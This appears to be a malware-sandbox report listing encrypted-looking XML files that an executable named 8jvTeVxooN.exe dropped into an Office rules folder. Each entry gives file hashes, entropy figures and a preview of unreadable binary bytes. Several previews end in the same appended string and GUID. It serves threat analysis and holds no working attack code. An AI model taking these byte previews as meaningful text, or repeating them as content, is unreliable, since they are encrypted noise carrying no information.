Preview:	<?xml...,......H.%.N2O...qa...<......5<....j.T..W.).\|....L2....M}..!p4.6Ce......H.@o...b.N....<Vn...H...qu.l......W.[>......a.}2\..mcH7.d... n.7f.\|..K.O...-..C..G:A...hG..........c.m.....3....].?.}.`....@...c8......$.....Y..E.-l..f.+F.&.'....ms....s...T=....'O.......p....3......r7.........%.s.?..=:.....Vg.....0.{..e.....j.p.(n.[F...B#...G.?..B........T...X?.1...0.......4.....=ej....I..G^.768bc....(.iuL.D....ds6X.8..Br.}..~?.9..f.O-....Yi.?P.0......mA..t.-...A-..2'.'..7W.>Lw.....v5..?.Tw@T.:..V.lA.Q;.].......l.2=.~.F.38;?.../.....v....\5ic...>..c9....#u....7]..L&..A{.N.lQ..u.ff..0Z....}.M..6...B&.....y.N...p.&J.....vn`Q..Z->....H.........K6EQ.i.U\3......C.Sj...L.,.ZN+........0.=;......n..E..%..I[..nM..*Z..R..SFT:..X.Qh".8.V.:..C.V.2...n<.w..o..?;.f.(L.z...\|..&9..sM.........SV...#a...A..rh..D...-.g.SI\n.].Rv<......0.-.6Xcj`:~yjJ..p.`49.F'x.{+.Zx.i-....3M`..0.3..[..u.n...V....k.gzYP..._...............zWd..r.z\|P..%...U.bS.f.O.D..xs..i}...:.%Fa...F..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11931v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	903
Entropy (8bit):	7.756310497771434
Encrypted:	false
SSDEEP:	24:VzulICUVcV4hjv3725HDTtRJpSCjD8HObD:deICJ4hjPi5HDT7hnD
MD5:	C9DD04AF725EA865171FCF0CE1356C5E
SHA1:	575C8C5F88D1BA2189493DDBF636A5CB5D5E100D
SHA-256:	39B2DA1410B7FFBF580CFE02806B1422B2E948CEBBF47812D045402F9B05F450
SHA-512:	EA7CE146658539ABA3FCD713EA05F483C1F024A9861164B91EC0632B85EE3D4C354BA0FE0F8E506EAD65291C04240EC64254ADD6F2B8A107A9C8D6D74EFCEC11
Malicious:	false
Preview:	<?xml..\E'.N.\M.P..!....:z.3.9g.!..R4.nj5.o....oC.......@........;.....bV.}7....0C...).....K.Y..Yr.SS.H.yX..+.@.ev..1H.D.-.t.\|..IY5\|R7...pZ.H:iF.6...C...=L....b....kq..........e......Y......B..2.dzK....I....N0$....X...}......6.i..\|Y'I.<.Q..%Z.-.~V?..ub..._...2..K..u5.Z.U...F.Y)ozG}..eF9..R.@-.....+S.".....f...l1.J_~.L....X.5.$............$..#..[...!.t.n..,.p..... .q7..%..?-.Uu...&.d..\|.P@\/..@...Y..?......s\.4...^z..QI."..K.H!.T.B#\|MRJ..y.../4..]z.....$......F.5......+..G.+..r......+.....\|...x(.....1..U.l?.f.)..t......O..>.{.K..m].E..o.F`...I.R.8.{....(.'..eD".w.s..6W..xZG$.\..e..c1.... z..4.B<.,..<.. B.<..d.hc..H]....B.i5.....'J......N...6.....\|.5.......'RT.%Lg.xf.o.Tz.R..^4..U.......H......Lg..Ju..{'... F@...w..'......#.l.=.P...Y...3+... .,.NX%...3.p{..@d~...T>..in....Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11932v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	3566
Entropy (8bit):	7.94948405656306
Encrypted:	false
SSDEEP:	96:zaAMifVKll5rVRQgfxolBC4wiL2fWjKrYe7GYbJ14k4:uA+RVNxrGYbY
MD5:	3B701F0580A34F3C012E86EDDB8A45AF
SHA1:	4E94C1E3AF9A577A78EC64E3FBF45BBC4CEFC1E7
SHA-256:	0BBF8089B974EFD2595A82A52FC342E2240B55975731FA3C118D6A86A271C8B8
SHA-512:	5554D60E469E68B2AC2A06EDEE118B77E540BDCB2399DF712D414D17825CB4AE48948B1D7CDA15CF5C6D01DDC2D8FE69F8B894CCF8B358066A6295B7BEE372F7
Malicious:	false
Preview:	<?xml}n....t..f....Q....3.4.Z....;.s......4(.L.....s..[:q.S.3r(OUs..M...$....{.8....$8...~.O.}..$..{.......+....'y.....r...Y...+.+.A....@\o.Ph.Da[.a..........9(.4m..U.O.........V..V.../.r..EQE.-.V.7.......PTS.yL.4.9&..v......U..v....o.........\BE)..+...1wnz..F..c....3.4....<To....c.i:d......4S....r..L. ...].4.r]JN.ahi3.B..y.....n.h...@......\..Nq.Gk...#..~...C.... =..O.g...B.E.vU...V.3..._..a.P.8 .S....h...a.^.6 z.lj......5X.H.3...)...y....ZH.7..g..).._..lm.C/.A>..d.c....]...(.{H`...?..p=pC...%.u....thC..!!Zq^........o.RJ%.w..$.[..6 .....j...A.$.......4u...{5..[..+.';......t....N]n.W....]D.\..%o...~.E..S..W...i{....W):"...J]3g...MO..6...-1...V..o.$.5NA...?.....6 1..[.%=........L.v..(u.Q,.Gs......a.M...=....C.,mP]3%.&U...Oi...`.[ls."z\.Q....b+...E....... ..aR...W.f....+..d.............X.m<EIGy(..1mc..:..a..o3..........b..[.U..(.1.....I2.v..$u...e9=.Ps.l..E....]......Q.[...%M_d....#:....i...uJ...=.T..p..1..*.ur.g.n.Gw...R_0.%hYG..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11933v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	3677
Entropy (8bit):	7.94377058923291
Encrypted:	false
SSDEEP:	96:n8PWl3TqhUqAFdX8Y+xoueNiAGfUQhNnqKrnQG:Aq3kAPuxouerGfUQhNnLnQG
MD5:	111B8CF020C1BAC45EBF9E7C7A099F93
SHA1:	525EBD974D9AC2431AFC633ECA60D63AF0807B1E
SHA-256:	2C23EC08C03DE7C030CF546A13A12929D39FC066469B9272B0E8F8D9998CB743
SHA-512:	4DFE35FCB48352BFFD07FB4DF2C1379CC5716C44B06A16CE841F758891CB50A6EF94ECFBB775A55D105F2932E9EE29CC6F71A392465952AD7D82269BAAF57EFF
Malicious:	false
Preview:	<?xmlVo.....`.7ba.>..ed.zr..X}.{..x7\|]..y'...w..u..0...HB...l.R...V...1Q!....Y..K..G....^.7... .h4..t..B.\(B..D...q...H.'. .r.[......yB..i...."y....>....3..b...O.X.#/l..I.F.jS3....V..ht......v..W.....}8!.....LV..N$....Vp.a..2..[...Nq.:....V.....GNUJl2...#.....i...1...$./.ZQ}...s.'..X.^,....0.]...[...MC..E4T......`..qD\|Sb....._:U......;.. X......F.....4.B:.1!....Y.lVZ..!.y).$.w..2.....{YK.......1.=82.................<.."....(.......P.v....e2@lqs..0......>.........Q..3..T.`...i.E....U...K.!0.v.....@./.k0.....na....Y...>.e...M.lp..o]1.<jd.W].e.e...B<.J.g....qB.'.......:5.E,..P...0.R...v....D0..^fl.M../....m..9Aw6Ew..7.&mI.Q......y..HR..<....eyj......T......B.\|.j...29 .=......l..G...:.T....u.f.Z'.v}..EZB.$.8...O.\..SI.,...{......L.....).Zq..b.t......:..g...}K.i..!.D....FM...0..-#.]J.e......X ...d^,M.@.e.r...YFXH...h..~......n N.D.,......{..h..!....l.#s03...xX.4.".....6.G.....4.x..6...(...w...+V.?,..>.Q(..Sv<..Abs..{`..6....o`U..+.l?Y..}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11939v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	744
Entropy (8bit):	7.671847260259144
Encrypted:	false
SSDEEP:	12:c4lV//0zemcsWTYnCkDw2kyyADw2Em9OXndUgyut87FhUPj+qLuOcii9a:c4lVX0zQhTYnj8IAqOXnu5hNObD
MD5:	B2925484465AFABD14FFEF92EFADEF4A
SHA1:	23C2637D5B152CDC6F255747974650DD7A81F3D3
SHA-256:	53E6DCF4AB9C350992C58C0F936B0CED534B34EAA5BB8B17AC6171B582102CCD
SHA-512:	03269991873EC64641549CC0822B965BF822E713166847E5AE12F3F6178EB99EF624BCD0A494FA253051052621E8C5F25E2B8D4A5BAB2093A12EC3A92C5757D1
Malicious:	false
Preview:	<?xml{GG...:...Q..+..K'./.&.....%....k./.....e.AF...P..T.....\|..f_...%%.,Hh$..a.8Y"...2.....S.c-..LW...n..).yHk."..-5....R..2. zXd...9...L.4....zojN....W.....~..L..2k\|..Lx..8K^.6.V..#.cd>.7<p....s....9P...x...c.:........H.yj/.zi/....SnCj.......Dg...-m..aE..W..{.f..O...+......A4C........C.4..<.......^..x..]\|+.T9.L..J...#.,.......f.O..<.j.#...Z....{[.Z\....b...@...q..W.2..a.s..`@k.C..........M..h..6..2..l.......K............W.........}..:.p. e.K.......'].n.z]..N...adN.....H...E...I....9....}w+.66.d-.6#.x..n\|RR.Y..c.... ..$...y.u...K>...."...]...v....b.5.^...K..sn.kfp%..ALv..m..h>.*l.:.$n.)...B=bQ....mK....va..iRv/t.Mh.4.2..oE.#8Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11950v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1620
Entropy (8bit):	7.887426526248791
Encrypted:	false
SSDEEP:	48:Yt0fFwyad4A1pyJO4ARll6Q9munPryLBW50uItdD:YtiS+wAURll9LnPQsI
MD5:	A2602B2C8153EBDF27937B2C3F2314AD
SHA1:	88EDD0FF5D92AF0D859C356C809F37B48974F016
SHA-256:	6EEAC5F1775B556A63B1E59377FB77E18D83F66891603E387DDACBB1B6BB804E
SHA-512:	4F753FAFAD1B5957BE385FD4F72724113258283653666BA3DF42B3E56161315785F34588AAC1710BCC8DFF0AA7A5F09F6151C16E8B5AAF463A3F9F3FD31DBE20
Malicious:	false
Preview:	<?xml.....cA..k.^.....o...e..!2..`<w.t...T...0+.]z...b`...j..H..R.qoYrS.@=N.-.h3r.,.k.....H.....\|L.%A.<M.P.[_d[.%...Z.r......?...e9c(.<..v...L...m!..,.....6.b.fr.............\..w..[U.#./..@.J..P.g.L..!3o.. ...DN.J..=..P.O..=..q.}.&.._....;Y..0..P..N}....M..d{b..)..3.%.%..X1.P#.Yh.....:! .0RZ..4d....r;.L.q......@.].-w.....b.e>.\|..l1-.9.1.t...V....D..(.R....um(.\P..CU....G..a....bZ.`.=.zX...y.....0..~...........n..._-...ik.1....\.e.H";.[..'..OS.9g.2I.B...X....;`...o....O.@v....)..T....[...........3..:I.........=8U..:.W..t....Jg...v.........o.(..oO...p.g. .y.tQAJ..R.....n..8.._....tvn.gm.r;>.7l.KNH.u.......}f.........s..K.E\|QOX..).&{b.]QO..V.z..v...:r.&.C.l...D............}.YB......P..:9])..2..2.....L...`{..._......A...z.<..F.C.e..(0.)........P2~....c..1.......%..Fev..yf....e.~.[..W......:.L.ey..rC.zMJ.\|aZ..K.[.S^.p....\...qW.cW_p.T..%u.C..V.W..LcDW....}..!B.....;c.}r..PO..;...)f'#......f ..a...v...6..k.i."....X...w6m.o.&RK....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11981v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	821
Entropy (8bit):	7.696619745650131
Encrypted:	false
SSDEEP:	24:WhW67Ze1fqlDgIn0R9edFglTzCx3gaObD:QlYE1gPRMrECa9D
MD5:	02E028540791757DD368C759650577A6
SHA1:	3D868997B6A45A28B97774C9EB8E3337E4AFF202
SHA-256:	73903CD46DBA8546E11B02347DE2011F38ED14378E21B37D7DCAE15829C9FABA
SHA-512:	69D73A4FFAF8CD28F8C3D668DDBAE0CC052BD8B48CD56554D7C28A9CCCECB7C4C5CC1367C6B8984EB530F3E0750A938822B0C4BC05BFBD20EC11B27DA9176D43
Malicious:	false
Preview:	<?xml.....\%.r.m...o..\|...'.............a.tle.67...S.J.f:...W.`.v.{....ML.2C..ki....@......{.z.S..+O..7....t....h}.R$...%w....IT..DY..c....sZUM..:..St...,.x.bT..[.=.+w..c@.....{4\|@.b.....L..i.\|.....6cy...Y.w..u....V....D........X......'Q5...(.v...%.Qm.7.W...........h..B...L....!L.4<.d...8.h.lT.\|..U-.X?......4.d,..a.83...h+h..>K....2.U.....;.}L.n.....9=..b9.12mO~q.x...../r.s1.%bb....w"A.....`.!..<.y.Bh....K....C...5^...4.t!a....m.J....Ho..<.M.Bh......q.1...h{$N.D.:.]....o.l)..Di..I.dx.8l.....9.9..J@.z....wb._._.K..+.tib..`.{8...3....jz..,..b..C.>...F......s.....9Y.B..JPA}.72..V..kU.i;.W.`X7..=..U.._.v...!.;..9.. .nt...<B....df......%..Y;F.%.wV.jg..S<..a.D6..H,..`/..q..:.7.9..79..L..0...{@..Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11989v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1034
Entropy (8bit):	7.792415391881337
Encrypted:	false
SSDEEP:	24:y8bJ+YFhfBcqhp6SXK9H9Iodh3IooGAD7gtmObD:yGJ+cp8iKdCoX3ICMgDD
MD5:	6473F0EB2EDDA32CE466B5E80560E8C7
SHA1:	EE047584F8F9AD5F6C5C6C31275E23DB13C340EE
SHA-256:	A8A4D8EA4AFD16248DB6CC8122BDDB304409364389F21EDBC3DA86D27E540974
SHA-512:	CA5B0F68026BED801D8CC849AF5D30B7E072B2233BB90657CB17535C7F0E2B7C27AFE6661275BAF0DB962023CCF7D7B235D43EEAE97FF65D6EB2400BF30636DC
Malicious:	false
Preview:	<?xml.V......r.....T..@..p.....P...[x..G....bm.a'....o3..H.U.A#)+A1c.P...<..*%.}..{J.@....n7.......\|29.A.s...H...F....6....]...J..3...d..0.V.?)h.....d.....R$0..Un....oq...<f...UT..t.t..=!.~e..$.u.D8.._...r....Q....TK$.;..c...%.......1.J .s}.._vfP....!-.p.{t...kU..g..F...aM......q..FS>.C..U...$-,.;:...`YX..MSyX.r=.......M..\|.I...i...<xi.X...h.k.b<.11u-..Tm.$.....d.L..E.....w.c.bB{u...<.{D..F....T..R. _..Z.I...%.jY\|.....L.$..P../....j...KEo.......Tk....O2.t-}...QJk.m...a..5q..F........?~..P.."<.N,...sS..`.?......+.;....... 4.m(../4...xYXg..]...W...4..P]B..'..4...wvov...F.....H`{7....V}...A..Y.g.G.k..@b.D..(....,Jg....z...Af`S..}v.W\p.p5.=)..q.N...d..-E....Z...:g.ebM'.R5E....&M......-..n......,..f.sm!?0.........w'...A....S<.A%uR...l.m`L>o.V..../..$d.......k.NB....(..!\|}.e..?.....^'..O.rw.0..pDu..4V.4b.%#....(..rB.+..pw=/B..../KkS..A...(.....m.sNT..\|.......Y....AH@k.....^....N!.\|.n.Pf..i..VZ6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120100v3.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	7.827224816978363
Encrypted:	false
SSDEEP:	24:XiN4GiCKCC2RDrS+nNz8+G8bSNb9FE/FjhtlYj9sRmgXKzCe1k7BObD:SCGOurLNzfDSN/E/FNte6ozOCD
MD5:	E4C6C66D40997BB91662158CF87E12FF
SHA1:	592D0C8E87395B6C7906BED5239D2E3E24DBDFBF
SHA-256:	8AB77B1864874A97E22A0CE5A21DF4E360615BD502AC58A532AD24F9E9F388D2
SHA-512:	A7BF85604F64CCF452ED14C739F0A2EC7667CFB47A206018C31FB1B9AC51D695110AEEF8CA58C9E6500106403D6AC75A92917D7A75C0BD4F04D00D1D6B8595E1
Malicious:	false
Preview:	<?xml.JY.4.\|r...F....!....;......o..GV.}...l.8B..b..CPD!.Up..u...:.....%...B...l.0.'m....Q..g...~.t?.:...F@..A....^.u.....G.\|.+..H..7.......#D...t.G.+^%......O.x....[.\.sR.R..9V.w.D....LN.J....t.....0/&vo......;...R4..?Y.8.$.Y..lI.I...X..t..i.....^-..\...!..=..T..i.X."V.......Q...O\|n.E...._y...cLC..\|Oy...m...L..;w'.....@.2...w.u.]c.6..M`...`v...:.=j. .Y.......#...Q.....u...p......OJ..C>.S"1.n..q../..w.m1.et......3.X.u.k4.V........X.....M.qz....T> Z+....?#..DAo....X.DWw..l...N.1..M..>..."......C..XY.6....@.j+.[m..:..@..b..?OF9.m..().. ..k....2...:...7...L.4I}.........C..J..K,..r...[..n..-..'.).......$.H\..~.......&6.J.s.!.q9qt.);R/\|.u.v^..........%...S9..[.gG..-D!h.../\.s.xn..!&Kw..He[k<.5j.v.i.2...)l...N.U.....q..+H....joj.X...6v.......$.....ZF^......8B..w......1jyf........."...tg....._?^.g.^8.Z.+...H`.&..[..Gs. )`,.........-PB\....l .r.;}~..]......[...xN...q..X.._J...5.......hG.f.........p...-...!.0..j...g..........t.k..(a..../..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120107v6.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	2514
Entropy (8bit):	7.9306484767174465
Encrypted:	false
SSDEEP:	48:8lZagFbkV/DcL88RynDO4hsr8vc+yKBwjdw6tSY6kP6D:8TagFW/DcA8RynoOc+yEwRt/6kPS
MD5:	FE8A396EF72652840B275C57D268D2FD
SHA1:	488143F3AE5A9948369C8AF12E7FBE36FC6AAA5C
SHA-256:	F83B1BD66023995BA742B42800BCCF19ED5D2F8C0640C62F5A7DE215B4651EAD
SHA-512:	9015055A2D2265D7E799EED904E523708DCD8E6771229D9561CDFDC07AF76B3097793F2272A9D990561DAEFA3A84E9134BB5B80C9DAEA6A509D304DEED82E85C
Malicious:	false
Preview:	<?xml......i.a....N.~....Azn.).....5.6"R..s\yR..?N....&.T..h...z....s.[.7..n.t..o.........$..\|YO.6Y.....{~...$Sj\|...i>.....Z?`7...AFl...>.Z,.78.....\.Q..Y.w8].....P.03&.....a..o.E$.Q"...gt....xM.>M....m$T........e._.E{[....4{..J%...hf......F7W.E.Z..jkU.smdl......}..54........8z"......?].1...RM...D..vK>.ot{.l.....[..R..EB.c=....Y.b^..TX..:..1......\|.^v.8.l.w..J{B..5...=d^.m[i.tU..g..o.,W..o...U}..p'.4t..*.8.....@....k.:......R..-gr....D......?..$1.....E.C.E(....jX.>./.#..5.....M...T%F.....4qY.....cLF.../..TcG...q......J..+...q24..VJvU9B..x5..3..%Or+...w...5N8.H0.@.@........0.r.{".l{...s.k.....e.pu...N%....^...:j..'....L.=._..'Or....Y..u......$....q...M.+.BOUE.v....&.^r....}.LDoJ.>L...yD....1...U.g.T..\..u..Y`.....G...).@o..L.v.............K...pcr.Mu...p..5.6...\|......%.S2j..`.q........./\lSyY.\v{F.........p...xtU.....N...h.].Q......m.+la.q.c........\!JY.f......kxdz...)............4t.....g.T.......-.._.zs.?O....5..W......q.F.ln.R....sDiX.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120110v4.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1346
Entropy (8bit):	7.829810878935427
Encrypted:	false
SSDEEP:	24:uoKzjtaqfzKOq+gLgNs43+k1jCsk3Bkp7i66WNzA6kdgAFok4YqkqTZThO4GYU5I:uoKt/rBZNsC84AWL4mkHsTVGFuD
MD5:	F29296C6DCC566F192B8ED78F41500E5
SHA1:	ED8492EEFCB596375D8B0557E5A788E9D472A94F
SHA-256:	FBA80C1C6870C79AB04D8D2CA997757BC79CF515F84D3C694B958BF230E7EFC6
SHA-512:	CDB1C1691416B27019D9FCBFCFC3FA5AC8A50FAD2D80DC4FF9B299C865AF909F71A3E5CAA33CDBC5D82D99C235E6E288401D4D152D5ED1E51B0F510D39CB1128
Malicious:	false
Preview:	<?xml.m2.J..B.D3..2E.z....+1.....B.A....1$...6..........;...L..N.........h1....... ..H...Jr.,....>U..I. .......R......$..XC.....N.K"U.!f...=..,..9UWS.....E...u...zm.-..R./%.0..c....l^o.Y.{C.....x.!..@.2.U..^!.k.'..5..I.h.r\|9.....+M.B9u..\....#{.2..H.v .....R@k.....dh...#...............#....V&.B.Z>.#b,sdm6.[...M6.U.a0.4\..C....(N)I.....H.p.b<.......`f.\....F`..J^q..:.x;.g!..x(.......w6.NG...v...i..L....<C...U....8....\|..W.M..c!.{.....0g.t2.d8......... .T$1d..$....gg.RF.^.j-f.>x.3.tyD.S\|...4........G.W...?...aQ...^qd..{O.07.W.........'..u,.....O+..)r...hiN[.....i..p.nP.>.....M.0kB.E.D..[X1.:.1..`:E.!...A7?i.oD..y...M[,t......h-..1l..W...E8......CC/.[V..X..k...\.N.E.....2....1......kP.p.N..h...c....Z....s.!.R.N...i.@.........4..~e.9.8."...X.y'.dl.....uB..Xcr4j.....<0......X.\|-U.ml..R..Rs........&...+\|8H\|.....+.?0.L.........0.....C.Y...D..!..D..$...LbER..a1......_..v....R.......%.]+.0l.]..S'J..A.y...........HL7x.......W?d..].<..:.iR...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120112v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1041
Entropy (8bit):	7.808560153971301
Encrypted:	false
SSDEEP:	24:gtX6xX26uAkuq/J0nGEuYKu5qheTjwupFhbnNGchU5ObD:4Xcm6+2G5/ojR3bngiUuD
MD5:	C283B01081AA5F2F8E4D7954EC81D46F
SHA1:	21AC7F6D30FAAE06FAC667A722CE022F34CD12D6
SHA-256:	37A4B9D14A6D36319405A50534BF024F6943A3D70D5D912C5C7AE268D4D88811
SHA-512:	D1EF89E8A8BCF8A87013893E148E0802EF8FB573ED78D76DD47BDEAD967B5E82B4FE6DDB12D30837187CC4276E7756ACC5EC3D6DE15AFDC04348F5F9DC2D99F5
Malicious:	false
Preview:	<?xmlx....?SX....&.v:.P.K...MQL]2?.C9.>....E\.S;.$u.}z.....7!...}'z....(.u.l..{>..4..+....6.[.J.\.?..)..T,.{..OL..2T..l..]...%.....H}..y.Z.P.P-J.......'....qg.]s.].iX........x\|..R3.h.l..9.....7.U..hq.....Zf.W....3..t.....=...gm9../v0...0Q.o..8....et\c.W~X..kS..8...z........P..Z.N.5..P...6...(w....a_l...5.@.d..=.S...)N.........i..x......aj..q.v.01D......Ds...1r...;..6......Fv.\|)V.7..+.P.....z...q.....;i!>.No.G.5.s!I..3K...U.P.E:<.@!......1+.FqW...n./#......w.v..2%..:[....p.X..i...[rBnt93u..UO...".Z1o...m..5.....^....:c..!.^.2.6.. ..F....V.0e..[S.tX[.?V.........?."b.Z.R-.,..)j....~j.T.-..D..O.....-k.....(V.....!.f..n..~..:..^..M....!.......^u.[..z.!.H.J.)...B....G.(nY...."..}.-.^..I.a..V.q{e_b..7.L....U.1........M.e6.Y.y.....&ohG6.@.).....yrWtEXj/..U...\|...;.x.Z...U.....tw.:..."o.Z..@^1#.$..,K....FS!.......K..".)TS<^`.=.+....2...#0......BLuJ....[..]R..l>h.7..L...n......(=....=...Y1..Ah.H....u.....{...m".Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120119v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1664
Entropy (8bit):	7.869969677201461
Encrypted:	false
SSDEEP:	48:uCYnjfBX05hIUv5DcNaSNbg3y2PpsMN9yXHjHvrvqN8ZZNNlD:uCYnjfB06UVZSBgi2PaXH7vb9x
MD5:	543A4F860825E8369F9C0006ED6B7F7A
SHA1:	674D55B2A98D7D923E9763A95EC27E87239AF825
SHA-256:	0D0CEF62F49157DC5016571BCE04CF9945A1F7EDCA0F6DE83D429F754EE15976
SHA-512:	A5744219165044ECF5382FD089BEF99ACE84DBD2E6B616DA44AC7C190E46FA50C90531F6367016AB66D8863EF4D66E8288B158FDFD95D9C79D83F81CAF2D987B
Malicious:	false
Preview:	<?xmll...R{...).h.{c5....\|.:.#V....N.H...<.t...F.....K.%.}.@^Q...q.lr..M^{j..6......MBR.\|VT6<...H.!.....C1.......bR.r..>n.-..y.C...`s.$..8I-]....WD.~.w..9.r.......a.6..:............&..6.m...'..........0....'.e..n .mN.91.w..=......k)... .....G1.....w.i.lK^...yO.....CR..J..U?....c..[GO...@......_4.$K}..d&.\.)....l.....H.&H?.......\.....$=&..m..,...G..../.N7.b...F#.d..O.."9).C.O.._@!.Z_Hn6.....o,.5......\..Z<M].....:p.OeQ;.7=....u.S..b.l.,...\}.. .6..Q\..Z9@..Pm..V.,.v.xO..U....Y..\..._.>.....hl..lZ.B.../R.I.Re'&MX.U.N!......8[....;...~..[..<."8\|../....b....&.\|+<.j.....'....y6......LWou.g..5...m9...../.vO..G.,>V...../..x..........u....x..J..Sp.+./3.(.l.s........B.P..z...e.F^....)..]8..r....S...X.T..%BFE..q....F.=.x...6...?....)..p....lR.....5'.!...4.;..f....8sz.'.]..Y..&.L.....t..t.31Em.l<2..[.o.9[.'.=...= E.f(.^R......@...D..i...j..._..?.L.............e7...h..T....2k...@I>F&.\..o.g..o...a....dsjx#.....g^......KP..[..c.k.r

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120120v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1195
Entropy (8bit):	7.841288116535194
Encrypted:	false
SSDEEP:	24:Ev5cFsoL2oIW9hkVF9HgSUy3z54c4pq3LF2uMHgZJ7ZJ1ObD:Ev5cFlq6c79HPm4LFjZBCD
MD5:	67D83D23C6F9F01342910D8666CE6144
SHA1:	768DD6B37B4A3EA1EA135630AE5F45A005325943
SHA-256:	1FB4DC44C037F8035983B44536CF39E6B7E74A7017B06BA6E9F9AFBE01E65CB1
SHA-512:	67275ED2F18A3641BF9898FCE25A8CE6512B42B2F063456A17C59E6C3007D5A22FB536B945C05087088F477BADF818FE106BBCD558046BC1EB008C195442FCAA
Malicious:	false
Preview:	<?xml.X......6.5.V.2...x_\O..'..I[M.Z.\|.O......(...^R...`.6._....r....LK.E......F%.S........V.....W.7=.....\.O. ..%9u..s.K_UP [.,_VNL[..,2.!...F.5...&....[m....C............Se$.`-'.V..V......d..3....yn...8.fgJC1...QP9TS!...An....!.z(`....F...F{...qf...I.V.3%0wj..(.,IWu;.....Q..........u.. .h...P...E.d..5f...x..p. k...AC=..#....C...- W....x...]..:;.pp.N.z...~F6..Y.i.j.M.En.d.58\u..l.....\|.t....:...D.)K..^......l.v7bk[.osX....?)6....h..z.V..p..T....e...J7=.w..M$.b{.(.....{...nW...a.....h.2....1..1....P.....z.............,..........O3...W...1q.L..j..a.H:\....V.y9%x..P....Z..p....Q..,<.....(.3..s...{.]..........C.\|K..........pQ..@.&.e..I...H}..N.+4....z>.z.v.L........@.V...t..../.6....x.(...r\....>......h.%...Z(.~d.\...8...5......R}.._^........X.'0V.....g.Y..v...7db..hSA.h..+?.rZ.3.+.B.\ ..yw..3.\|.`..f5.'.V.).?..cT...'.g...)...VkS..S....5'..M.%..^..c\|..H.s7.s..P7......~9.....Z...A.x..x...Z.D.t..J.eW..8,N..l.h..2....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120125v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1269
Entropy (8bit):	7.842797554460502
Encrypted:	false
SSDEEP:	24:+kaMLnZSRbi5LZMTF1MyvPFCiY97JGpdoA3A1f4T7QhDzKKXvYqkObD:+bunsRbiQTF1MWAisVGpdot1fE7qJvHD
MD5:	B54BEB2A60156A6DD8C8152B18D03285
SHA1:	22E380ECADC03CD1290F1C9D3685B14587B3806A
SHA-256:	12E164D0035012077AA5FCC97144B5548EF168F9F0DC6A34591E37C68C591446
SHA-512:	4D380E0EA381AE61E2CCB32F2AAB18B2BC0DFDE7CC510095AF5CA2277FE28E2CEC08C9C237AEC549CCD3D295FF03B60E87611A7D0AC88330361EE96CEEF4396C
Malicious:	false
Preview:	<?xml..W..z....=x#G...0.>...:.\..m.~..(.zp.K....G.eU....+O.X..N.V:.H..wE..j.4.T>d:..;../q....m......M.....\|..]h. ...$r'..b........JI6..d... ]....Nj..;.P.E5....4..A...2..H.Ra.+..[........Qm,....S..u..X7........;...pW.=z'...H.....\..o.q[?t.kFA..vW....A.&.z..Y...W.$...T. ..[...`.VBy]B.9...<..(....._..N.8.}....59.`Ur...Zu.,e......O.L~nk..?TMB...~=./!...0.\|M..K...x....k...\|.}.:.~4. 0.glR..Ci...'%......;....Y.h#._.y...H.8n.......e...Y[.?..Go.1\r%...+i.e. .;.3\.b..6y.....N....Tz....-y.{beJ.{.d........:......E....x&0.=)....&.Y...k..N.M.O..../..+....[.E?p...Iy....b..wm.....^.T 